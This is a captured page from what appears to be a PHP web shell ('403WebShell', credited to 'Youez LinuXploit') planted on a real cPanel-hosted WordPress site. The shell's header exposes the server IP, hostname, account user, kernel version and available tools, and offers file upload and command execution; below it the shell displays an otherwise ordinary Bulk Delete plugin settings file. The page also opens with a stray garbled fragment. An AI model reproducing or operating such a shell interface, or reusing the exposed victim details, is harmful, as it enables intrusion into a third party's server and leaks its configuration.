$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/bulk-delete/include/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/bulk-delete/include/settings/setting-helpers.php
<?php
/**
 * Helper functions for settings API.
 * Most of these functions are copied from Easy Digital Downloads.
 *
 * @since 5.3
 *
 * @author     Sudar
 *
 * @package    BulkDelete\Settings
 *
 * @param mixed $args
 */

/**
 * Header Callback.
 *
 * Renders the header.
 *
 * @since  5.3
 *
 * @param array $args Arguments passed by the setting
 *
 * @return void
 */
function bd_header_callback( $args ) { //phpcs:ignore
	echo '<hr/>';
}

/**
 * Text Callback.
 *
 * Renders text fields.
 *
 * @since  5.3
 *
 * @param array $args Arguments passed by the setting
 *
 * @return void
 */
function bd_text_callback( $args ) { //phpcs:ignore
	$option_name = $args['option'];
	$bd_options  = get_option( $option_name );

	if ( isset( $bd_options[ $args['id'] ] ) ) {
		$value = $bd_options[ $args['id'] ];
	} else {
		$value = isset( $args['std'] ) ? $args['std'] : '';
	}

	$size = ( isset( $args['size'] ) && ! is_null( $args['size'] ) ) ? $args['size'] : 'regular';
	$html = '<input type="text" class="' . $size . '-text" id="' . $option_name . '[' . $args['id'] . ']" name="' . $option_name . '[' . $args['id'] . ']" value="' . esc_attr( stripslashes( $value ) ) . '">';
	$html .= '<label for="' . $option_name . '[' . $args['id'] . ']"> ' . $args['desc'] . '</label>';

	bd_wp_kses_wf($html);
}

/**
 * Rich Editor Callback.
 *
 * Renders rich editor fields.
 *
 * @since 5.3
 *
 * @param array $args Arguments passed by the setting
 */
function bd_rich_editor_callback( $args ) { //phpcs:ignore
	$option_name = $args['option'];
	$bd_options  = get_option( $option_name );

	if ( isset( $bd_options[ $args['id'] ] ) ) {
		$value = $bd_options[ $args['id'] ];
	} else {
		$value = isset( $args['std'] ) ? $args['std'] : '';
	}

	ob_start();
	wp_editor( stripslashes( $value ), $option_name . '_' . $args['id'], array( 'textarea_name' => $option_name . '[' . $args['id'] . ']', 'media_buttons' => false ) );
	$html = ob_get_clean();

	$html .= '<br/><label for="' . $option_name . '[' . $args['id'] . ']"> ' . $args['desc'] . '</label>';

	bd_wp_kses_wf($html);
}

Youez - 2016 - github.com/yon3zu
LinuXploit